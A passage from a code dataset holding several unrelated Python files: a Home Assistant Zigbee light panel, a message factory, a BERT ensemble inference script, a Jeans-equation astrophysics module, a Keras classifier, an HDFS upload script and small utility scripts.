event_zigbee_recv_handler)\r\n\r\n def event_zigbee_device_status_handler(event):\r\n router = event.data.get('router')\r\n device = event.data.get('device')\r\n if device[2] == '0x26':\r\n \"\"\" 0x0 -> 0000 0000 The last three is light status\r\n '0xfe', '0xc5', '0x22', '0x0', '0xff', '0xff'\r\n \"\"\"\r\n mac_l, mac_h = device[0].replace('0x', ''), device[1].replace('0x', '')\r\n dev_mac = mac_l + '#' + mac_h\r\n for dev in lights:\r\n if dev_mac in dev.mac:\r\n mac_l, mac_h = router[0].replace('0x', ''), router[1].replace('0x', '')\r\n mac_str = mac_l + '#' + mac_h\r\n dev.set_router(mac_str)\r\n s_int = int(device[3], 16)\r\n s_str = bin(s_int).replace('0b', '')\r\n s_str = \"{:0>3}\".format(s_str)\r\n if dev.way == 1 and s_str[-1] == '1':\r\n dev.set_state(True)\r\n if dev.way == 1 and s_str[-1] == '0':\r\n dev.set_state(False)\r\n if dev.way == 2 and s_str[-2] == '1':\r\n dev.set_state(True)\r\n if dev.way == 2 and s_str[-2] == '0':\r\n dev.set_state(False)\r\n if dev.way == 3 and s_str[-3] == '1':\r\n dev.set_state(True)\r\n if dev.way == 3 and s_str[-3] == '0':\r\n dev.set_state(False)\r\n \r\n # Listen Device Status Event\r\n hass.bus.listen('event_zigbee_device_status', event_zigbee_device_status_handler)\r\n\r\n\r\nclass PolyLightPanel(Light):\r\n \"\"\"Representation of an Polyhome LightPanel3 Class.\"\"\"\r\n\r\n def __init__(self, hass, device, dev_conf):\r\n \"\"\"Initialize an AwesomeLight.\"\"\"\r\n self._hass = hass\r\n self._device = device\r\n self._name = device['name']\r\n self._mac = device['mac']\r\n self._way = device['way']\r\n self._config = dev_conf\r\n self._state = None\r\n self._router = '46#b1'\r\n self._available = True\r\n self._keys = ['1', '2']\r\n\r\n @property\r\n def name(self):\r\n \"\"\"Return the display name of this light.\"\"\"\r\n return self._name\r\n\r\n @property\r\n def mac(self):\r\n \"\"\"Return the display mac of this light.\"\"\"\r\n return self._mac\r\n\r\n @property\r\n def way(self):\r\n \"\"\"Return the display mac of this light.\"\"\"\r\n return self._way\r\n\r\n @property\r\n def is_on(self):\r\n \"\"\"Return true if light is on.\"\"\"\r\n return self._state\r\n\r\n @property\r\n def available(self):\r\n \"\"\"Return if bulb is available.\"\"\"\r\n return self._available\r\n\r\n @property\r\n def device_state_attributes(self):\r\n \"\"\"Return device specific state attributes.\r\n\r\n Implemented by platform classes.\r\n \"\"\"\r\n return {'platform': 'polylightpanel3'}\r\n \r\n def set_state(self, state):\r\n self._state = state\r\n self.schedule_update_ha_state()\r\n\r\n def set_available(self, available):\r\n self._available = available\r\n self.schedule_update_ha_state()\r\n\r\n def set_router(self, router):\r\n self._router = router\r\n\r\n def turn_on(self, **kwargs):\r\n \"\"\"turn on\"\"\"\r\n router_mac = self._router.split('#')\r\n CMD_OPEN[2], CMD_OPEN[3] = int(router_mac[0], 16), int(router_mac[1], 16)\r\n mac = self._mac.split('#')\r\n CMD_OPEN[6], CMD_OPEN[7] = int(mac[0], 16), int(mac[1], 16)\r\n CMD_OPEN[-3] = self._way\r\n self._hass.services.call(POLY_ZIGBEE_DOMAIN, POLY_ZIGBEE_SERVICE, {\"data\": CMD_OPEN})\r\n self._state = True\r\n\r\n def turn_off(self, **kwargs):\r\n \"\"\"Instruct the light to turn off.\"\"\"\r\n router_mac = self._router.split('#')\r\n CMD_CLOSE[2], CMD_CLOSE[3] = int(router_mac[0], 16), int(router_mac[1], 16)\r\n mac = self._mac.split('#')\r\n CMD_CLOSE[6], CMD_CLOSE[7] = int(mac[0], 16), int(mac[1], 16)\r\n CMD_CLOSE[-3] = self._way\r\n self._hass.services.call(POLY_ZIGBEE_DOMAIN, POLY_ZIGBEE_SERVICE, {\"data\": CMD_CLOSE})\r\n self._state = False\r\n\r\n def trigger(self, key_id):\r\n if key_id in self._keys:\r\n self._hass.bus.fire('binary_sensor.' + self._name + '_' + key_id + '_pressed')\r\n for state in self._hass.states.async_all():\r\n state_dict = state.as_dict()\r\n if state_dict['entity_id'] == 'binary_sensor.' + self.name:\r\n new_state = state\r\n msg = json.dumps(new_state, sort_keys=True, cls=JSONEncoder)\r\n json_msg = json.loads(msg)\r\n json_msg['attributes']['button'] = key_id\r\n pub_obj = {'status':'OK', 'data': json_msg, 'type': 'state_change'}\r\n data_str = {'data': json.dumps(pub_obj)}\r\n self._hass.services.call('poly_mqtt', 'mqtt_pub_state_change', data_str)\r\n\r\n def update(self):\r\n self._state = self.is_on\r\n","sub_path":"custom_components/light/polylightpanel3.py","file_name":"polylightpanel3.py","file_ext":"py","file_size_in_byte":9959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"612697403","text":"\"\"\"\nHandle identification of message types and instantiation of message classes\n\"\"\"\n\nfrom ..classloader import ClassLoader\nfrom ..error import BaseError\n\nfrom .agent_message import AgentMessage\n\n\nclass MessageParseError(BaseError):\n \"\"\"Message parse error.\"\"\"\n\n pass\n\n\nclass MessageFactory:\n \"\"\"\n Message factory for deserializing message json and obtaining relevant\n message class\n \"\"\"\n\n def __init__(self):\n self._typemap = {}\n\n def register_message_types(self, *types):\n \"\"\"\n Add new supported message types.\n\n :param *types:\n\n \"\"\"\n for typeset in types:\n self._typemap.update(typeset)\n\n def resolve_message_class(self, message_type: str) -> type:\n \"\"\"\n Given a dict describing a message, this method\n returns the corresponding registered message class.\n\n :param message_type: str:\n \"\"\"\n msg_cls = self._typemap.get(message_type)\n if isinstance(msg_cls, str):\n msg_cls = ClassLoader.load_class(msg_cls)\n return msg_cls\n\n def make_message(self, serialized_msg: dict) -> AgentMessage:\n \"\"\"\n Given a dict describing a message, this method\n returns an instance of the related message class.\n\n :param serialized_msg: dict:\n\n \"\"\"\n\n msg_type = serialized_msg.get(\"@type\")\n if not msg_type:\n raise MessageParseError(\"Message does not contain '@type' parameter\")\n\n msg_cls = self.resolve_message_class(msg_type)\n if not msg_cls:\n raise MessageParseError(f\"Unrecognized message type {msg_type}\")\n\n instance = msg_cls.deserialize(serialized_msg)\n return instance\n\n def __repr__(self) -> str:\n return \"<{}>\".format(self.__class__.__name__)\n","sub_path":"agent/indy_catalyst_agent/messaging/message_factory.py","file_name":"message_factory.py","file_ext":"py","file_size_in_byte":1790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"596128062","text":"# -*- coding:utf-8 -*-\n# @Time: 2021/5/31 13:59\n# @Author: duiya duiyady@163.com\n\n\nimport os, json\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\nimport numpy as np\nfrom bert4keras.models import build_transformer_model\nfrom bert4keras.tokenizers import Tokenizer\nfrom bert4keras.snippets import open\nfrom keras.layers import Input, Embedding, Reshape, GlobalAveragePooling1D, Dense\nfrom keras.models import Model\nimport jieba\nimport argparse\nimport time\nt1 = time.time()\n\njieba.initialize()\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\", \"-input\", type=str, required=True, help=\"输入文件\")\nparser.add_argument(\"-o\", \"-output\", type=str, required=True, help=\"输出文件\")\nargs = parser.parse_args()\npath_input = args.i\npath_output = args.o\n# 基本信息\nmaxlen = 512\nepochs = 10\nbatch_size = 8\nlearing_rate = 2e-5\n\n# bert配置\npre_model = 'NEZHA-Base'\npath_drive = 'base_model/' + pre_model\nconfig_path = os.path.join(path_drive, 'bert_config.json')\ndict_path = os.path.join(path_drive, 'vocab.txt')\n\nvariants = [\n u'短短匹配A类',\n u'短短匹配B类',\n u'短长匹配A类',\n u'短长匹配B类',\n u'长长匹配A类',\n u'长长匹配B类',\n]\nvar_name = [\"ss_a\", \"ss_b\", \"sl_a\", \"sl_b\", \"ll_a\", \"ll_b\"]\n\n# 模型部分\nc_in = Input(shape=(1,))\nc = Embedding(len(variants), 128)(c_in)\nc = Reshape((128,))(c)\nmodel = build_transformer_model(\n config_path,\n checkpoint_path=None,\n model='nezha',\n layer_norm_cond=c,\n additional_input_layers=c_in\n)\noutput = GlobalAveragePooling1D()(model.output)\noutput = Dense(2, activation='softmax')(output)\nmodel = Model(model.inputs, output)\n# model.summary()\n\n\n# 建立分词器\ntokenizer = Tokenizer(\n dict_path,\n do_lower_case=True,\n pre_tokenize=lambda s: jieba.lcut(s, HMM=False)\n)\n\n\ndef text_token(text):\n tokens = [\n tokenizer._token_translate.get(token) or token\n for token in tokenizer._tokenize(text)\n ]\n return tokens\n\n\n# 将两个文本分词,并转换为id,连在一起\ndef encode(source, target):\n first_token = text_token(source)\n second_token = text_token(target)\n if len(first_token) + len(second_token) > 509:\n if len(first_token) > 255:\n if len(second_token) > 254:\n first_token = first_token[: 255]\n second_token = second_token[: 254]\n else:\n f_e = min(len(first_token), 509 - len(second_token))\n first_token = first_token[: f_e]\n else:\n s_e = min(len(second_token), 509 - len(first_token))\n second_token = second_token[:s_e]\n first_token.insert(0, tokenizer._token_start)\n first_token.append(tokenizer._token_end)\n second_token.append(tokenizer._token_end)\n\n first_token_ids = tokenizer.tokens_to_ids(first_token)\n second_token_ids = tokenizer.tokens_to_ids(second_token)\n first_segment_ids = [0] * len(first_token_ids)\n second_segment_ids = [1] * len(second_token_ids)\n first_token_ids.extend(second_token_ids)\n first_segment_ids.extend(second_segment_ids)\n return first_token_ids, first_segment_ids\n\n\ndef get_pre(data_list, cond):\n key = 'labelA' if 'a' in data_list else 'labelB'\n result = {}\n count = 0\n for l in data_list:\n print('\\r', count, end='', flush=True)\n first_token_ids, first_segment_ids = encode(l['source'], l['target'])\n first_token_ids = np.array([first_token_ids])\n first_segment_ids = np.array([first_segment_ids])\n conds = np.array([[cond], ])\n pre = model.predict([first_token_ids, first_segment_ids, conds])\n result[count] = {}\n result[count][\"pre\"] = pre[0][1]\n if key in l:\n result[count][\"true\"] = int(l[key])\n if \"id\" in l:\n result[count][\"id\"] = l[\"id\"]\n count += 1\n return result\n\n\ndef get_all_pre(data_path):\n res_ss_a = []\n res_ss_b = []\n res_sl_a = []\n res_sl_b = []\n res_ll_a = []\n res_ll_b = []\n cond_ss_a = 0\n cond_ss_b = 1\n cond_sl_a = 2\n cond_sl_b = 3\n cond_ll_a = 4\n cond_ll_b = 5\n with open(data_path, encoding=\"utf-8\") as f:\n for l in f:\n # print('\\r', count, end='', flush=True)\n l = json.loads(l)\n if l['id'].startswith(\"ss\") and l['id'].endswith(\"a\"):\n res_ss_a.append(l)\n _var = '短短匹配A类'\n if l['id'].startswith(\"ss\") and l['id'].endswith(\"b\"):\n res_ss_b.append(l)\n _var = '短短匹配B类'\n if l['id'].startswith(\"sl\") and l['id'].endswith(\"a\"):\n res_sl_a.append(l)\n _var = '短长匹配A类'\n if l['id'].startswith(\"sl\") and l['id'].endswith(\"b\"):\n res_sl_b.append(l)\n _var = '短长匹配B类'\n if l['id'].startswith(\"ll\") and l['id'].endswith(\"a\"):\n res_ll_a.append(l)\n _var = '长长匹配A类'\n if l['id'].startswith(\"ll\") and l['id'].endswith(\"b\"):\n res_ll_b.append(l)\n _var = '长长匹配B类'\n\n return get_pre(res_ss_a, cond_ss_a), get_pre(res_ss_b, cond_ss_b), \\\n get_pre(res_sl_a, cond_sl_a), get_pre(res_sl_b, cond_sl_b), \\\n get_pre(res_ll_a, cond_ll_a), get_pre(res_ll_b, cond_ll_b)\n\n\nif __name__ == '__main__':\n \"\"\"\n conds = [\n u'短短匹配A类' 0,\n u'短短匹配B类' 1,\n u'短长匹配A类' 2,\n u'短长匹配B类' 3,\n u'长长匹配A类' 4,\n u'长长匹配B类' 5,\n]\n \"\"\"\n\n best_split = {}\n best_split[\"weights/1_nezha_base_124_gp_lah.weights\"] = {}\n best_split[\"weights/1_nezha_base_124_gp_lah.weights\"][\"短短匹配A类\"] = 0.599\n best_split[\"weights/1_nezha_base_124_gp_lah.weights\"][\"短短匹配B类\"] = 0.507\n best_split[\"weights/1_nezha_base_124_gp_lah.weights\"][\"短长匹配A类\"] = 0.523\n best_split[\"weights/1_nezha_base_124_gp_lah.weights\"][\"短长匹配B类\"] = 0.452\n best_split[\"weights/1_nezha_base_124_gp_lah.weights\"][\"长长匹配A类\"] = 0.480\n best_split[\"weights/1_nezha_base_124_gp_lah.weights\"][\"长长匹配B类\"] = 0.514\n\n best_split[\"weights/2_nezha_base_sort_split_random.weights\"] = {}\n best_split[\"weights/2_nezha_base_sort_split_random.weights\"][\"短短匹配A类\"] = 0.655\n best_split[\"weights/2_nezha_base_sort_split_random.weights\"][\"短短匹配B类\"] = 0.638\n best_split[\"weights/2_nezha_base_sort_split_random.weights\"][\"短长匹配A类\"] = 0.515\n best_split[\"weights/2_nezha_base_sort_split_random.weights\"][\"短长匹配B类\"] = 0.623\n best_split[\"weights/2_nezha_base_sort_split_random.weights\"][\"长长匹配A类\"] = 0.414\n best_split[\"weights/2_nezha_base_sort_split_random.weights\"][\"长长匹配B类\"] = 0.690\n\n best_split[\"weights/2_nezha_base_new2.weights\"] = {}\n best_split[\"weights/2_nezha_base_new2.weights\"][\"短短匹配A类\"] = 0.574\n best_split[\"weights/2_nezha_base_new2.weights\"][\"短短匹配B类\"] = 0.448\n best_split[\"weights/2_nezha_base_new2.weights\"][\"短长匹配A类\"] = 0.451\n best_split[\"weights/2_nezha_base_new2.weights\"][\"短长匹配B类\"] = 0.405\n best_split[\"weights/2_nezha_base_new2.weights\"][\"长长匹配A类\"] = 0.346\n best_split[\"weights/2_nezha_base_new2.weights\"][\"长长匹配B类\"] = 0.465\n\n best_split[\"weights/3_nezha_base_4_gp_lah.weights\"] = {}\n best_split[\"weights/3_nezha_base_4_gp_lah.weights\"][\"短短匹配A类\"] = 0.399\n best_split[\"weights/3_nezha_base_4_gp_lah.weights\"][\"短短匹配B类\"] = 0.361\n best_split[\"weights/3_nezha_base_4_gp_lah.weights\"][\"短长匹配A类\"] = 0.528\n best_split[\"weights/3_nezha_base_4_gp_lah.weights\"][\"短长匹配B类\"] = 0.463\n best_split[\"weights/3_nezha_base_4_gp_lah.weights\"][\"长长匹配A类\"] = 0.585\n best_split[\"weights/3_nezha_base_4_gp_lah.weights\"][\"长长匹配B类\"] = 0.419\n\n best_split[\"weights/3_nezha_base_4_sort_split_random.weights\"] = {}\n best_split[\"weights/3_nezha_base_4_sort_split_random.weights\"][\"短短匹配A类\"] = 0.531\n best_split[\"weights/3_nezha_base_4_sort_split_random.weights\"][\"短短匹配B类\"] = 0.441\n best_split[\"weights/3_nezha_base_4_sort_split_random.weights\"][\"短长匹配A类\"] = 0.424\n best_split[\"weights/3_nezha_base_4_sort_split_random.weights\"][\"短长匹配B类\"] = 0.435\n best_split[\"weights/3_nezha_base_4_sort_split_random.weights\"][\"长长匹配A类\"] = 0.388\n best_split[\"weights/3_nezha_base_4_sort_split_random.weights\"][\"长长匹配B类\"] = 0.371\n\n model_paths=[\"weights/1_nezha_base_124_gp_lah.weights\",\"weights/2_nezha_base_sort_split_random.weights\",\"weights/2_nezha_base_new2.weights\",\"weights/3_nezha_base_4_gp_lah.weights\",\"weights/3_nezha_base_4_sort_split_random.weights\"]\n all_pre = {}\n for model_path in model_paths:\n print(model_path)\n all_pre[model_path] = {}\n model.load_weights(model_path)\n result_ss_a, result_ss_b, result_sl_a, result_sl_b, result_ll_a, result_ll_b = get_all_pre(path_input)\n\n all_pre[model_path]['短短匹配A类'] = {}\n for key, val in result_ss_a.items():\n all_pre[model_path]['短短匹配A类'][val[\"id\"]] = val[\"pre\"]\n all_pre[model_path]['短短匹配B类'] = {}\n for key, val in result_ss_b.items():\n all_pre[model_path]['短短匹配B类'][val[\"id\"]] = val[\"pre\"]\n\n all_pre[model_path]['短长匹配A类'] = {}\n for key, val in result_sl_a.items():\n all_pre[model_path]['短长匹配A类'][val[\"id\"]] = val[\"pre\"]\n all_pre[model_path]['短长匹配B类'] = {}\n for key, val in result_sl_b.items():\n all_pre[model_path]['短长匹配B类'][val[\"id\"]] = val[\"pre\"]\n\n all_pre[model_path]['长长匹配A类'] = {}\n for key, val in result_ll_a.items():\n all_pre[model_path]['长长匹配A类'][val[\"id\"]] = val[\"pre\"]\n all_pre[model_path]['长长匹配B类'] = {}\n for key, val in result_ll_b.items():\n all_pre[model_path]['长长匹配B类'][val[\"id\"]] = val[\"pre\"]\n result_save = {}\n for i, var in enumerate(variants):\n for key_id in all_pre[\"weights/1_nezha_base_124_gp_lah.weights\"][var].keys():\n count0 = 0\n count1 = 0\n for model_path in model_paths:\n if all_pre[model_path][var][key_id] >= best_split[model_path][var]:\n count1 += 1\n else:\n count0 += 1\n if count1 > count0:\n result_save[key_id] = 1\n else:\n result_save[key_id] = 0\n\n with open(path_output, 'w') as f:\n f.write('id,label\\n')\n for key, val in result_save.items():\n f.write('%s,%s\\n' % (key, val))\n\n print('\\n')\n t2 = time.time()\n print(t2-t1)","sub_path":"决赛提交/new_get_test_output.py","file_name":"new_get_test_output.py","file_ext":"py","file_size_in_byte":10797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"90261345","text":"from __future__ import division\nfrom __future__ import absolute_import\n\nimport scipy as sp\nimport numpy as np\nfrom scipy import interpolate\n\nfrom tools.trapezium import trap\n\n# The functions mass_enc and d_phi are needed to form the integrand of Jean's\n# equations. The integration is done in a non-dimensionalised space x = r/a\n# and normalized so the integral over all space is 1.\n\ndef mass_enc(R, nu):\n '''Returns probability of finding 1 unit of mass enclosed within radius X by\n integrating nu(r). '''\n\n def integrand(r):\n if r != 0: \n return 4 * sp.pi * r**2 * nu(r)\n else: # stops r=0 returns numerical error.\n return 0\n\n return sp.integrate.quad(integrand, 0, R)[0]\n\ndef moment(nu, j, nsc_mass, mu):\n '''Creates the function j(r) * sigma^2(r) - i.e. the luminosity weighted second moment.'''\n\n def d_phi(x):\n u'''Returns the derivate of phi. Needed for integrand of Jean's eqn.'''\n\n grav = 4.30117623e-3 # Gravitational constant in units of km/s, pc, M_sun\n return grav * nsc_mass * (mass_enc(x, nu) + mu) / x**2 \n\n def integrand(x):\n u'''Returns the integrand of Jean's equation.'''\n return nu(x) * d_phi(x)\n\n # Form a table of integrands of Jean's equation Y against radius R.\n X = np.logspace(3.0, -7, 50000)\n Y = [integrand(x) for x in X]\n Y = np.asarray(Y)\n\n # Then integrate from r = lim to r = infinite, where lim increments slowly\n # downwards from infinite to 0. The integral at each r = lim is the value\n # of nu(r) * sigma_p^2(r). '-Y' corrects for sign.\n CUM = sp.integrate.cumtrapz(-Y, X, initial=0)\n\n # Multiply nu(r) * sigma^2(r) by j(r)/nu(r).\n NU = [nu(x) for x in X]\n J = [j(x) for x in X]\n CUM = CUM * J / NU\n CUM[0] = 1e-40 # Need non-zero value to do interpolation in log space.\n \n # Use linear interpolation in logarithmic space.\n LOG_X = np.log10(X)\n LOG_CUM = np.log10(CUM)\n interp_lin = interpolate.interp1d(LOG_X, LOG_CUM, kind=u'linear', \n bounds_error=False, fill_value=0)\n interp_log = lambda x: 10**(interp_lin(np.log10(x)))\n #interp = interpolate.interp1d(X, CUM, kind='linear', bounds_error=False,\n # fill_value=0)\n return interp_log\n\ndef abel(X, f):\n u'''Carries out abel projection integral of function f for radius R.\n Uses subsitution r = R*cosh(theta). '''\n\n def integrand(theta, R, f):\n u'''Forms integrand.'''\n x = X * np.cosh(theta)\n return 2 * X * f(x) * np.cosh(theta)\n\n lim = np.log(1 + np.sqrt((500/X)**2 - 1)) # Sets theta limit.\n return trap(integrand, 0, lim, 60, X, f)\n\n### THE CODE BELOW TESTS THAT THE FUNCTIONS ABOVE ARE WORKING CORRECTLY BY COMPARING ITS OUTPUT TO \n### ANALYTICAL SOLUTIONS.\n\nif __name__ == \"__main__\":\n\n import matplotlib.pyplot as plt\n from tools.library import hernquist, plummer\n \n # The functions Z, hern_light and hern_MOM2_p are the analytical solutions to the Hernquist model.\n # The solutions are from the paper 'An Analytical Model for Spherical Galaxies and Bulges', Hernquist 1989.\n # The light profile and mass profile are assumed to be identical, i.e. j(r) = nu(r).\n\n def Z(x):\n u'''Returns arccosh(x) if less than 1, arcsec(x) if more than 1.'''\n if x < 1:\n return sp.log((1+sp.sqrt(1-x**2))/x) / sp.sqrt(1 - x**2)\n else:\n return sp.arccos(1/x) / sp.sqrt(x**2 - 1)\n\n def hern_light(r, a, L):\n u'Returns I(r).'\n x = r/a\n z = Z(x)\n return (L / a**2)*(((2 + x**2)*z) - 3) / ((2*sp.pi) * (1-x**2)**2)\n\n def hern_mom2(r, a, M):\n u'Returns j(r) * sigma_p^2(r), where sigma_p is the LOS velocity dispersion'\n x = r/a\n u = 1 / (12*sp.pi) \n v = 0.5 / (1-x**2)**3\n w = - 3 * x**2 * Z(x) * (8*x**6 - 28*x**4 + 35*x**2 - 20)\n y = - 24*x**6 + 68*x**4 - 65*x**2 + 6\n t = -6*sp.pi*x\n G = 4.30117623e-3\n return (G*M/a) * (M/a**2) * (u * (t + v*(w + y)))\n\n # Define parameters for our test NSC.\n a = 2. # Scale length (parsecs)\n L = 5e6 # luminosity (solar masses)\n nsc_mass = 5e6 # solar masses\n mu = 0 # black hole mass ratio (i.e. there is no black hole)\n\n # Setup the density and light profiles for the hernquist model.\n model = hernquist(a, L) \n nu = model.nu # Density profile\n j = model.j # Light profile\n\n # Create a radius array, units parsecs.\n rad = np.logspace(-8, 2.1, 1000)\n \n # Calculate analytical solution for light projected intensity.\n I_analytic = [hern_light(r, a, nsc_mass) for r in rad]\n\n # Calculate numerical solution for light projected intensity.\n I = [abel(r, j) for r in rad]\n\n # Calculate analytical projected second moment\n mom2_analytic = [hern_mom2(r, a, nsc_mass) for r in rad]\n \n # Calculate numerical projected second moment.\n mom2 = moment(nu, j, nsc_mass, mu) \n mom2_ = [abel(r, mom2) for r in rad]\n\n # Plot the intensities\n plt.figure()\n plt.title('intensity (solar luminositities per square parsec)')\n plt.xlabel('radius / parsecs')\n plt.semilogx(rad, I_analytic, 'b')\n plt.semilogx(rad, I, 'g')\n\n # Plot the second moments\n plt.figure()\n plt.title('second moment')\n plt.xlabel('radius / parsecs')\n plt.semilogx(rad, mom2_analytic, 'b')\n plt.semilogx(rad, mom2_, 'g')\n\n plt.show()\n\n\n","sub_path":"code/tools/jeans.py","file_name":"jeans.py","file_ext":"py","file_size_in_byte":5583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"649570213","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 10 11:49:09 2019\n\n@author: amol.borse\n\"\"\"\n\nimport pandas as pd\n\n# Importing the dataset\ndataset = pd.read_csv('D:/train.csv')\nX = dataset.iloc[:, 0:9]\ny = dataset.iloc[:, -1:]\na=['Department','salary']\nX = pd.get_dummies(X, columns=a)\nX=X.values\ny=y.values\n# Splitting the dataset into the Training set and Test set\n\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.25, random_state = 0)\n# Feature Scaling\nfrom sklearn.preprocessing import StandardScaler\nsc_X = StandardScaler()\nX_train = sc_X.fit_transform(X_train)\nX_test = sc_X.transform(X_test)\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import BatchNormalization\n# Initialising the ANN\nclassifier = Sequential()\n\n# Adding the input layer and the first hidden layer\nclassifier.add(Dense(output_dim = 6, init = 'uniform', activation = 'relu', input_dim = 20))\nclassifier.add(BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True,\n\nbeta_initializer='zeros', gamma_initializer='ones', moving_mean_initializer='zeros',\nmoving_variance_initializer='ones'))\n# Adding the second hidden layer\nclassifier.add(Dense(output_dim = 6, init = 'uniform', activation = 'relu'))\n\n# Adding the output layer\nclassifier.add(Dense(output_dim = 1, init = 'uniform', activation = 'sigmoid'))\n\n\n# Compiling the ANN\nclassifier.compile(optimizer = 'RMSprop', loss = 'binary_crossentropy', metrics = ['accuracy'])\n\n# Fitting the ANN to the Training set\nclassifier.fit(X_train, y_train, batch_size = 10, nb_epoch = 20)\n\n# Part 3 - Making the predictions and evaluating the model\n\n# Predicting the Test set results\ny_pred = classifier.predict(X_test)\ny_pred = (y_pred > 0.5)\n\n# Making the Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import f1_score,precision_score,recall_score\ncm = confusion_matrix(y_test, y_pred)\nprint(cm)\nprecision=precision_score(y_test,y_pred)\nprint(\"precision:\")\nprint(precision)\nrecall=recall_score(y_test,y_pred)\nprint(\"recall_score:\")\nprint(recall)\nf1_score= f1_score(y_test,y_pred)\nprint(\" f1_score:\")\nprint( f1_score)\n","sub_path":"batch_Normalization.py","file_name":"batch_Normalization.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"143744536","text":"#!/usr/bin/env python\n\n# arg parsing related imports\nimport os\nimport sys\nfrom argolog import init_log\nfrom argorun import run_cmd\nfrom argparse import ArgumentParser\nfrom ConfigParser import SafeConfigParser\n\n\ndef main(args=None):\n\n # default config\n fn_ar_cfg = \"/etc/ar-compute-engine.conf\"\n arsync_exec = \"/usr/libexec/ar-sync/\"\n arsync_lib = \"/var/lib/ar-sync/\"\n\n date_under = args.date.replace(\"-\", \"_\")\n\n ArConfig = SafeConfigParser()\n ArConfig.read(fn_ar_cfg)\n\n # Get mode from config file\n ar_mode = ArConfig.get('default', 'mode')\n\n prefilter_clean = ArConfig.get('default', 'prefilter_clean')\n\n # Initialize logging\n log_mode = ArConfig.get('logging', 'log_mode')\n log_file = 'none'\n\n if log_mode == 'file':\n log_file = ArConfig.get('logging', 'log_file')\n\n log_level = ArConfig.get('logging', 'log_level')\n log = init_log(log_mode, log_file, log_level, 'argo.upload_metric')\n\n # call prefilter\n cmd_pref = [os.path.join(arsync_exec, 'prefilter-avro'), '-d', args.date]\n\n log.info(\"Calling prefilter-avro for date:%s\", args.date)\n\n run_cmd(cmd_pref, log)\n\n if ar_mode == 'cluster':\n # compose hdfs destination\n # hdfs path = ./tenant/mdata/...\n hdfs_path = \"./\" + args.tenant + \"/mdata/\"\n else:\n # compose local temporary destination\n hdfs_path = \"/tmp/\" + args.tenant + \"/mdata/\"\n\n fn_prefilter = \"prefilter_\" + date_under + \".avro\"\n local_prefilter = os.path.join(arsync_lib, fn_prefilter)\n\n log.info(\"Check if produced %s exists: %s\",\n local_prefilter, os.path.exists(local_prefilter))\n\n # Command to establish tentant's metric data hdfs folder\n cmd_hdfs_mkdir = ['hadoop', 'fs', '-mkdir', '-p', hdfs_path]\n\n # Put file to hdfs destination\n cmd_hdfs = ['hadoop', 'fs', '-put', '-f', local_prefilter, hdfs_path]\n\n # Command to clear prefilter data after hdfs transfer\n cmd_clean = ['rm', '-f', local_prefilter]\n\n log.info(\"Establish if not present hdfs metric data directory\")\n run_cmd(cmd_hdfs_mkdir, log)\n\n log.info(\"Transfer files to hdfs\")\n run_cmd(cmd_hdfs, log)\n\n if prefilter_clean == \"true\":\n log.info(\"System configured to clean prefilter data after transfer\")\n run_cmd(cmd_clean, log)\n\n log.info(\"Metric Data of tenant %s for date %s uploaded successfully to hdfs\",\n args.tenant, args.date)\n\nif __name__ == \"__main__\":\n\n # Feed Argument parser with the description of the 3 arguments we need\n # (input_file,output_file,schema_file)\n arg_parser = ArgumentParser(description=\"Uploading metric data to hdfs\")\n arg_parser.add_argument(\n \"-d\", \"--date\", help=\"date\", dest=\"date\", metavar=\"DATE\", required=\"TRUE\")\n arg_parser.add_argument(\n \"-t\", \"--tenant\", help=\"tenant owner \", dest=\"tenant\", metavar=\"STRING\", required=\"TRUE\")\n\n # Parse the command line arguments accordingly and introduce them to\n # main...\n sys.exit(main(arg_parser.parse_args()))\n","sub_path":"bin/upload_metric.py","file_name":"upload_metric.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"577716959","text":"# Company: \n# Author: Rob McGinley\n# Date: \n# Copyright: 2011\n# Description:\n\nimport backend.config.db_config as db_config\nimport sqlalchemy.orm as orm\n\nclass DatbaseConnectivity(object):\n \"\"\"\n This class is inherited by all classes that need a sql alchemy engine/session object.\n \"\"\"\n def __init__(self):\n self.database = db_config.Database()\n self.engine = self.database.get_engine()\n session_maker = orm.sessionmaker(bind=self.engine)\n self.session = session_maker()\n","sub_path":"services/backend/rpc/database_connectivity.py","file_name":"database_connectivity.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"174927323","text":"import pyautogui, time\ntime.sleep(5)\nf = open(\"test.txt\",'r')\nw = open(\"bench.txt\",'a')\nfor i in f:\n if len(i)>3:\n w.write(i)\npyautogui.press(\"enter\")\nprint(f.read())\n ","sub_path":"spammer/file_cleaner.py","file_name":"file_cleaner.py","file_ext":"py","file_size_in_byte":181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"430402416","text":"#!/usr/bin/env python\n# coding:utf8\n__author__ = \"willian\"\n\n# dictionary\nshop_list = [\n ['iphone', 6500],\n ['mac', 12000],\n ['office', 30],\n]\n\nprint(len(shop_list))\n# variables\nsalary = int(input(\"请输入你的收入:\"))\ncar = []\ntotal = 0\n\n# print list\nfor k, v in enumerate(shop_list, 1):\n print(k, v[0], v[1])\n\nwhile True:\n choice = input(\"你想买点什么?\")\n print(salary)\n if choice.isalpha():\n if choice == 'exit' or 'quit':\n for i in car:\n print(\"你购买了:\\033[32;1m{0},{1}\\033[0m\".format(i[0], i[1]))\n total += i[1]\n 